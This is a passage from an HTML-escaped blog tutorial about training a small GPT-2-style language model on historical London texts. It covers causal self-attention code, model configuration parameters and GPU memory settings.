&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_head &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_head
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dropout &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dropout
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;forward&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, x):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Batch size, sequence length, embedding dimensionality ($n_{embd}$)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        B, T, C &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; x&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;size()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Calculate query, key, values for all heads in batch &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# and move head forward to be the batch dim&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        q, k, v &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;c_attn(x)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, dim&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        k &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;view(B, T, &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_head, C &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;//&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_head)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;transpose(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# (B, nh, T, hs)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        q &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; q&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;view(B, T, &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_head, C &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;//&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_head)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;transpose(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# (B, nh, T, hs)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        v &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; v&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;view(B, T, &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_head, C &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;//&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_head)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;transpose(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# (B, nh, T, hs)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Causal self-attention; Self-attend:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# (B, nh, T, hs) x (B, nh, hs, T) -&amp;gt; (B, nh, T, T)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;functional&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;scaled_dot_product_attention(q, k, v, attn_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;, dropout_p&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dropout &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;training &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;, is_causal&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; y&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;transpose(&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;contiguous()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;view(B, T, C)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Re-assemble all head outputs side by side&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Output projection&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        y &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;resid_dropout(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;c_proj(y))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; y&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 4: Causal Self-Attention Implementation&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The attention mechanism computes attention as show below:&lt;/p&gt;
&lt;p&gt;$$\text{Attention}(Q,K,V) = \text{softmax}\left(\frac{QK^T}{\sqrt{d_k}}\right)V$$&lt;/p&gt;
&lt;p&gt;Where $Q$, $K$, and $V$ are the query, key, and value matrices, respectively.&lt;/p&gt;
&lt;p&gt;In our case, with 768-dimensional embeddings and 12 heads, each head operates on 64-dimensional subspaces ($d_k = 768 / 12 = 64$), providing sufficient representational capacity for each type of historical relationship while maintaining computational efficiency.&lt;/p&gt;
&lt;p&gt;In addition, the $\sqrt{d_k}$ scaling factor ($\sqrt{64} = 8$) prevents the dot products from becoming too large, ensuring stable gradient flow during training.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In plain English, please!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Think of attention like a spotlight that can shine on different parts of a sentence. When the model is trying to understand the word &amp;ldquo;he&amp;rdquo; in a historical document, it needs to look back through the text to find who &amp;ldquo;he&amp;rdquo; refers to. The attention mechanism is like having multiple spotlights (our 12 or 16 attention heads) that can each focus on different aspects - each might look for people&amp;rsquo;s names, another for relationships, and another for locations.&lt;/p&gt;
&lt;p&gt;The mathematical formula we showed above is how the model calculates the amount of attention to pay to each word. The scaling factor ($$\sqrt(64) = 8) is like adjusting the brightness of the spotlight – it prevents the model from being &amp;ldquo;blinded&amp;rdquo; by very bright spots and helps it focus on the right amount of information.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Does this matter for historical text?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Historical documents are particularly challenging because they often feature complex sentence structures and references spanning long distances. For example, in a court record, you might see &amp;ldquo;The defendant, John Smith, was accused of theft. He claimed innocence throughout the trial.&amp;rdquo; The model needs to understand that &amp;ldquo;He&amp;rdquo; refers to &amp;ldquo;John Smith,&amp;rdquo; even though there are several words between them. The attention mechanism enables the model to make these connections, generating coherent text that maintains proper historical context and references.&lt;/p&gt;
&lt;p&gt;This is certainly required for language modeling, given the complex structures in which later words reference earlier ones, and understanding the full context is essential for proper interpretation. The attention mechanism enables the model to learn long-range dependencies, allowing it to generate coherent text across extended sequences. For historical texts specifically, this becomes even more important because archaic language patterns and historical references often span longer distances than those in modern texts.&lt;/p&gt;
&lt;h3 id=&#34;25-model-configuration&#34;&gt;2.5 Model Configuration&lt;/h3&gt;
&lt;p&gt;The model architecture uses a centralized configuration, where each parameter is selected based on research findings and practical constraints for historical text processing. The SLM architecture uses five key parameters, each representing a design choice with specific trade-offs between computational efficiency and learning capacity.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Parameter&lt;/th&gt;
          &lt;th&gt;Value&lt;/th&gt;
          &lt;th&gt;Purpose&lt;/th&gt;
          &lt;th&gt;Trade-off&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;n_layer&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;12&lt;/td&gt;
          &lt;td&gt;Number of transformer blocks (model depth)&lt;/td&gt;
          &lt;td&gt;More layers = better learning, but slower training&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;n_head&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;12&lt;/td&gt;
          &lt;td&gt;Number of attention heads (parallel processing)&lt;/td&gt;
          &lt;td&gt;More heads = better attention, but more computation&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;n_embd&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;768&lt;/td&gt;
          &lt;td&gt;Embedding dimension (token representation)&lt;/td&gt;
          &lt;td&gt;Larger = richer representations, but more memory&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;max_length&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;512&lt;/td&gt;
          &lt;td&gt;Context window size (sequence length)&lt;/td&gt;
          &lt;td&gt;Longer = more context, but quadratic memory growth&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;vocab_size&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;30K&lt;/td&gt;
          &lt;td&gt;Vocabulary size (tokenizer compatibility)&lt;/td&gt;
          &lt;td&gt;Larger = more words, but more parameters&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;These parameters work together to create a model that effectively processes historical text while remaining computationally manageable.&lt;/p&gt;
&lt;h4 id=&#34;layer-count-n_&#34;&gt;&lt;strong&gt;Layer Count (n_layer: 12)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;The 12-layer architecture balances representational capacity with computational efficiency for historical text processing. Shallow layers (1-3) learn basic token patterns and grammatical structures, middle layers (4-8) capture complex syntactic relationships and historical language patterns, and deep layers (9-12) understand high-level semantic relationships and historical context.&lt;/p&gt;
&lt;p&gt;This depth follows GPT-2 Small&amp;rsquo;s 12-layer architecture, which delivers strong performance while remaining computationally manageable on available hardware.&lt;/p&gt;
&lt;h4 id=&#34;attention-heads-n_&#34;&gt;&lt;strong&gt;Attention Heads (n_head: 12)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Multi-head attention allows the model to attend to different types of relationships simultaneously – for example, temporal (chronological order), social (class hierarchies), geographical (London landmarks), and linguistic (archaic patterns). The 12-head architecture balances parallel processing capability with computational efficiency for historical text understanding.&lt;/p&gt;
&lt;h4 id=&#34;embedding-dimension-n_&#34;&gt;&lt;strong&gt;Embedding Dimension (n_embd: 768)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;The 768-dimensional embedding space can represent complex historical concepts, such as archaic terms (&amp;ldquo;yeoman&amp;rdquo;, &amp;ldquo;paternoster row&amp;rdquo;, &amp;ldquo;hath&amp;rdquo;), while maintaining computational efficiency. This dimension is commonly used in transformer architectures, including BERT-base and GPT-2 Medium.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why 768 became standard:&lt;/strong&gt; As a side note, in case you are seeing a lot of 768 lately, there are a good set of reasons for this. Beyond its divisibility ($768 ÷ 12 = 64$ per attention head), 768 aligns with GPU memory architecture - it&amp;rsquo;s a multiple of 256 (3 × 256), which matches common GPU memory bus widths and cache line sizes. This makes matrix operations more efficient on modern GPUs, as the hardware can process data in optimal chunks. Additionally, 768 provides sufficient representational capacity without the memory overhead of larger dimensions like 1024, making it practical for training on consumer hardware while still capturing complex linguistic relationships.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h4 id=&#34;context-window-n_&#34;&gt;&lt;strong&gt;Context Window (n_positions: 512)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;We use a 512-token context window as a practical balance between historical coherence and available compute for a learning-focused setup. While many of our working snippets (e.g., diary passages, sections of legal records, or literary excerpts) comfortably fit within 512 tokens, full historical documents can be much longer. The 512 window keeps attention costs manageable (quadratic in sequence length) while covering typical training segments we use.&lt;/p&gt;
&lt;p&gt;Both models use the same 30K vocabulary from our custom historical tokenizer, ensuring consistent tokenization across model variants.&lt;/p&gt;
&lt;h2 id=&#34;3-gpu-configuration-and-perf-optimization&#34;&gt;3. GPU Configuration and Perf. Optimization&lt;/h2&gt;
&lt;p&gt;The training system is designed to maximize GPU utilization while maintaining training stability. Understanding GPU architecture and memory management is crucial for efficient language model training, especially when working with historical text that requires significant computational resources.&lt;/p&gt;
&lt;h3 id=&#34;31-gpu-architecture-and-memory-management-for-language-model-training&#34;&gt;3.1 GPU Architecture and Memory Management for Language Model Training&lt;/h3&gt;
&lt;p&gt;Training on historical text benefits from sensible GPU settings even for a small, learning-focused model. We keep to practical, low-risk optimizations (precision choice, batch/sequence trade-offs, memory-aware attention) and accept some trial and error—reserving heavier systems engineering for larger setups.&lt;/p&gt;
&lt;p&gt;The main universal factors are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attention scales quadratically with sequence length, so longer contexts get expensive fast.&lt;/li&gt;
&lt;li&gt;Natural language variability (syntax, vocabulary, style) demands sufficient model capacity and stable optimization.&lt;/li&gt;
&lt;li&gt;Real‑world data quality (formatting, noise) can destabilize training, requiring robust error handling and memory management.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For historical text specifically, archaic vocabulary, period terminology, and cultural references introduce patterns absent from modern corpora. OCR artifacts and uneven formatting in digitized sources add noise beyond what’s typical in contemporary datasets.&lt;/p&gt;
&lt;h4 id=&#34;311-gpu-memory-hierarchy-and-optimization-strategies&#34;&gt;3.1.1 GPU memory hierarchy and optimization strategies&lt;/h4&gt;
&lt;p&gt;Modern GPUs use a hierarchical memory system that significantly impacts training performance: fast but tiny registers and shared memory sit closest to the compute; a larger L2 cache buffers traffic; and global memory holds parameters and activations. Attention often ends up memory-bound, so moving less data (via AMP, Flash/SDPA kernels, and sensible sequence/batch sizes) is as important as raw FLOPs.&lt;/p&gt;
&lt;p&gt;For language model training, the key optimization is managing the &lt;em&gt;memory bandwidth bottleneck&lt;/em&gt;. Attention operations are often memory-bound rather than compute-bound, meaning performance is limited by how quickly data can be moved between memory levels rather than by computational power. If we are not careful, it is quite easy to run into memory issues, as shown in &lt;a href=&#34;#fig5&#34; class=&#34;figure-ref&#34;&gt;Figure 5&lt;/a&gt; below.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/mem1.png&#34; alt=&#34;Out of memory error Screenshot&#34; title=&#34;OOM error&#34; id=&#34;fig5&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 5:&lt;/strong&gt;OOM error&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;And it is not restricted to training only; even on checkpoints that are saved, we can also encounter memory issues, as shown in &lt;a href=&#34;#fig6&#34; class=&#34;figure-ref&#34;&gt;Figure 6&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/oom-checkpoint-eval.png&#34; alt=&#34;Out of memory error - checkpoing evals Screenshot&#34; title=&#34;OOM checkpoint eval&#34; id=&#34;fig6&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 6:&lt;/strong&gt;OOM checkpoint eval&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Mixed precision training and memory optimization&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Training large language models requires careful memory management, especially when working with limited GPU resources. Our training system uses several optimization techniques to maximize memory efficiency while maintaining training stability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GPU detection and basic configuration:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The training system needs to work across different hardware setups, from single consumer GPUs to multi-GPU servers. Our approach uses a centralized configuration system that automatically adapts to available hardware.&lt;/p&gt;
&lt;p&gt;The actual GPU detection in &lt;code&gt;train_model_slm.py&lt;/code&gt; is quite straightforward - it checks for distributed training environment variables (&lt;code&gt;RANK&lt;/code&gt;, &lt;code&gt;LOCAL_RANK&lt;/code&gt;, &lt;code&gt;WORLD_SIZE&lt;/code&gt;) and sets up basic multi-GPU support if available. The system also detects GPU capabilities, such as bfloat16 support, and enables appropriate optimizations. This allows the same training script to work across different hardware setups, though the real complexity comes from the trial-and-error process of stabilizing training.&lt;/p&gt;
&lt;figure id=&#34;listing5&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# GPU configuration (from config.py)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;gpu_config &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;auto_detect&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Automatically detect available GPUs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;max_gpus&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Maximum number of GPUs to use (0 = no limit, use all available)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;min_gpu_memory_gb&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;8&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Minimum GPU memory required (GB)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;preferred_gpu_types&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;A30&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;A40&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;A100&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;V100&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;RTX4090&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;RTX4080&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;fallback_to_cpu&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Fall back to CPU if no suitable GPUs found&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;force_single_gpu&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Force single GPU even if multiple available&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;force_multi_gpu&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Force multi-GPU even if only one available&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;gpu_memory_fraction&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.9&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Fraction of GPU memory to use (0.0-1.0)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;allow_growth&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Allow GPU memory growth&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;log_device_placement&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Log device placement for debugging&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 5: GPU Configuration and Detection System&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The configuration in &lt;a href=&#34;#listing5&#34; class=&#34;listing-ref&#34;&gt;Listing 5&lt;/a&gt; is defined in our centralized &lt;code&gt;config.py&lt;/code&gt; file and provides settings for automatic GPU detection, memory management, and fallback options. While this looks comprehensive, the actual implementation is simpler - the training code primarily relies on PyTorch&amp;rsquo;s built-in distributed training detection and basic device selection.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The reality of training: Nearly 100 runs and many failures&lt;/strong&gt;&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/wandb.png&#34; alt=&#34;WandB Screenshot&#34; title=&#34;helloLondon training runs - WandB&#34; id=&#34;fig7&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 7:&lt;/strong&gt; helloLondon training runs - WandB&lt;/figcaption&gt;
&lt;/figure&gt;
